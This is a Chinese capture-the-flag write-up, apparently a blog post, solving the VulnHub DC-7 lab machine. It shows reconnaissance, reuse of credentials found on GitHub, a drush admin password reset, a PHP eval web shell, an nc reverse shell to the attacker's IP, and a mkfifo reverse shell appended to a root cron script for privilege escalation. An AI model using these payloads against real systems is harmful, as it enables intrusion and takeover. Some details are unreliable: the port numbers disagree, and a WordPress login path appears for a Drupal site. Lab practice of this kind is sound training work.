vulnhub DC-7靶机实战

0X01 环境部署

1.下载地址

https://www.vulnhub.com/entry/dc-7,356/

安装好并将网络置为NET模式
kali net模式
DC-7 net模式

0X02 信息收集

1.主机发现

arpscan -l

kali  192.168.190.128
DC-7  192.168.190.135

2.端口收集

nmap -sS 192.168.190.135

发现存在80端口,可以进行查看,直接查看跳转到了

http://192.168.190.135/

3.目录扫描

python3 dirsearch.py -u http://192.168.190.135/

成功找到后台登陆页面

http://wordy/wp-login.php

4.查看网站配置

可以看到是一个cms

0X03 Getshell

1.漏洞发现

网站首页中存在一个@DC7USER,去github上搜索,可以看到有一个配置文件,有账号密码
<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

尝试登录网站首页
$username = "dc7user";
$password = "MdR3xOgB7#dW";

登录失败

测试开放端口时,有22端口,可以尝试ssh登录
ssh [email protected]
登陆成功并查看权限
whoami

ls -la
查看有几个文件

backups 下有两个文件,均以gpg结尾,是一种加密文件

mbox 显示文件路径,进行查看

cd /opt/scripts
ls
cat backups.sh
发现了两个命令gpg和drush
gpg是用来加密文件的
drush是用来修改drupal框架下的用作一些配置的命令,可以改变用户的密码,所以进入到var/www/html
目录下
cd /var/www/html
drush user-password admin --password="123456"

2.漏洞利用

采用修改好的账号密码进行登录网站后台

admin/123456

登录成功

点击content-->add content -->basic page

但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。
加载一个新的模块

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
进行下载并选择文件进行安装

点击install

3.反弹shell

点击安装

回到最开始的地方进行写入shell

<?php @eval($_POST['cmd']);?>
蚁剑进行连接

查看当前权限
whoami

kali开启监听

nc -lvnp 5678

蚁剑反弹shell

nc -e /bin/bash 192.168.190.128 5678

进行交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

0X04 提权

1.当前权限

whoami    # www-data

2.开始提权

已经拿到了www-data的权限,就可以利用backups.sh,来进行提权
cd /opt/scripts

将nc -e /bin/bash 192.168.190.128 6789,写入到backups.sh 中,定时任务就会以root身份来运行这个文件,从而拿到root的shell完成提权。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.128 12345 >/tmp/f" >> backups.sh

注意:>表示为重写,会覆盖掉原来的内容,>>表示追加,不会覆盖掉原来的内容。

kali开启监听

nc -lvnp 6789

whoami
pwd
cd /root
ls
cat theflag.txt

0X05 总结

1.首先收集信息,真实ip,端口,网站目录,网站部署部件等
2.根据网站作者的id,进行查找,找到帐号密码
3.ssh登录后,修改登录后台账号密码
4.根据添加php模块,拿到低权限shell
5.再利用计划任务写入shell,以root身份运行
6.拿到root shell
7.root用户家目录下进行查找flag

猜你喜欢

转载自blog.csdn.net/m0_51195235/article/details/127958019